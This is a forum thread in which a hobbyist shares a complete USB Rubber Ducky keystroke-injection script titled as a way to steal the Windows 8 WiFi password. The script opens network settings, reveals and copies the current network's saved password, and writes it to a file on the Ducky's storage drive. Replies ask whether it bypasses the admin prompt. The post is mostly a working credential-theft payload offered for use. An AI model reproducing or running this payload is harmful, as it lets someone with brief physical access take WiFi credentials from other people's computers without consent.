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[Payload] Steal Windows 8 WiFi Password! - My first ducky script


Cola
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Just got my ducky in the mail to day, and I'm having a blast!

[Payload] Win8Wifi

Features

  • Windows 8
  • Takes 9 seconds on my computer, including about a 3 second delay at start
  • Uses keyboard trickery to copy wifi password of current connected network
  • Saves file to Storage volume named DUCKY (Either flash drive, or you can use Twin Duck firmware)
  • Works without disturbing current windows. My first version had to jump to the desktop

Requirements:

  • I was using the composite ducky firmware found HERE. The Twin Duck firmware should also work. found HERE
  • Windows 8

  • Must be connected to a protected network

CODE:

DELAY 2000
GUI i
DELAY 100
TAB
ENTER
DELAY 100
TAB
MENU
DELAY 100
UPARROW
DELAY 100
ENTER
DELAY 100
DELAY 100
ALT h
DELAY 100
ALT k
DELAY 100
CTRL C
DELAY 100
GUI r
DELAY 100
DELAY 100
STRING notepad
ENTER
DELAY 100
DELAY 100
CTRL v
DELAY 100
CTRL s
DELAY 100
DELAY 100
TAB
REPEAT 5
DELAY 100
ENTER
DELAY 100
STRING DUCKY
DELAY 200
DOWNARROW
DELAY 100
ENTER
DELAY 100
ALT n
DELAY 100
STRING Wifipass.txt
ENTER
DELAY 100
ALT F4
DELAY 100
ALT F4

NOTE: There is a large delay at the beginning to allow the ducky's storage to mount, and pop up. Adjust this as you see fit.

This was very fun to write, please leave me suggestions for improvement! (Including if anyone knows a shortcut to pull up the "Networks Charm"

Edited by Cola
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Well I am wanting to know, does this bypass the account admin password when you ask for the wifi password? I know I had to type in the account password to see the wifi password.

It does not, on my Win8 machine, I am not asked for a password. There is a little "Admin Shield Thing" next to show password, but I am never prompted for anything.

I wonder why this is?

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